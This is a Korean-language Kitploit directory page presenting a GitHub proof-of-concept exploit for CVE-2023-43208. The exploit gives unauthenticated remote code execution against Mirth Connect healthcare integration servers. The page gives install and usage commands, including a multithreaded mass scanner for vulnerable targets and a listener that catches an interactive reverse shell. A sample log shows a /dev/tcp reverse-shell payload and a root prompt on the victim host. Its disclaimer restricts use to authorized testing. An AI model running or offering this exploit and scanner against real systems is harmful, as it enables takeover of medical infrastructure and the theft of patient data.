Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-43208 — XML 역직렬화를 통한 Mirth Connect의 CVE-2023-43208에 대한 인증되지 않은 RCE 악용 코드로, 버전 탐지, 대량 스캔, 대화형 PTY 셸을 포함합니다. | Kitploit
도구/GitHubGitHub/4nuxd/cve-2023-43208
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHub4nuxd/cve-2023-43208

CVE-2023-43208

XML 역직렬화를 통한 Mirth Connect의 CVE-2023-43208에 대한 인증되지 않은 RCE 악용 코드로, 버전 탐지, 대량 스캔, 대화형 PTY 셸을 포함합니다.

저장소 보기
126개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-43208 — Mirth Connect 원격 코드 실행 (RCE)

Python CVE Platform

CVE-2023-43208에 대한 개념 증명 익스플로잇으로, 인증되지 않은 원격 코드 실행 취약점이며 Mirth Connect 버전 4.4.1 미만에 영향을 줍니다.


설명

Mirth Connect는 널리 배포된 오픈소스 의료 통합 엔진입니다. 이 취약점은 /api/users 엔드포인트를 통해 조작된 XML 페이로드를 사용하여 Apache Commons Collections 가젯을 체인화하는 Java 역직렬화 결함을 악용하여 인증되지 않은 RCE를 달성합니다.

향상된 버전은 원래의 pwncat 리스너를 Python 내장 함수만 사용하는 (socket, select, tty, ) 완전한 의존성 없는 대화형 PTY 셸로 대체합니다. 연결 시 셸이 자동으로 전체 PTY로 업그레이드됩니다.

termios

영향을 받는 버전

소프트웨어취약한 버전수정된 버전
Mirth Connect< 4.4.14.4.1+

기능

  • 자동 Mirth Connect 인스턴스 탐지
  • 버전 핑거프린팅 및 취약점 확인
  • XML 역직렬화 페이로드를 통한 인증되지 않은 RCE
  • 자동 PTY 셸 업그레이드 (python3/python/script 폴백)
  • 올바른 터미널 크기 전파 (stty rows/cols)
  • 멀티스레딩을 지원하는 대량 스캐너
  • 취약한 대상 목록을 파일로 출력
  • pwncat 의존성 없음 — 리스너는 표준 라이브러리만 사용

설치

root@kitploit:~
git clone https://github.com/yourrepo/CVE-2023-43208
cd CVE-2023-43208
pip install -r requirements.txt

요구 사항

root@kitploit:~
requests
packaging
rich
alive-progress

사용법

단일 대상 — 셸 획득

root@kitploit:~
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <PORT>

단일 대상 — ngrok / 바인드 포트 사용

root@kitploit:~
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <NGROK_PORT> -bp <LOCAL_PORT>

파일로 대량 스캔

root@kitploit:~
python3 CVE-2023-43208.py -f targets.txt -t 50 -o vulnerable.txt

인수

플래그설명
-u, --url대상 URL
-lh, --lhost리스닝 IP
-lp, --lport리스닝 포트
-bp, --bindport바인드 포트 재정의 (ngrok 사용 시 유용)
-f, --file대상 URL 목록이 포함된 파일
-o, --output취약한 대상을 파일로 저장
-t, --threads스캔 시 스레드 수 (기본값: 50)

출력 예시

root@kitploit:~
[*] Setting up listener on 10.10.15.202:4444 and launching exploit...
[*] Waiting for incoming connection on port 4444...
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.5.3
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/...'
[*] Launching exploit against https://10.129.5.3...
[+] Received connection from 10.129.5.3:59640
[+] Shell opened! Upgrading to PTY...

root@mirth:/# 

면책 조항

이 도구는 승인된 침투 테스트 및 교육 목적으로만 사용해야 합니다. 소유하지 않았거나 테스트 허가를 명시적으로 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.


크레딧

  • 제작: K3ysTr0K3R 및 Chocapikk
  • 개선: 4nuxd
도구 다운로드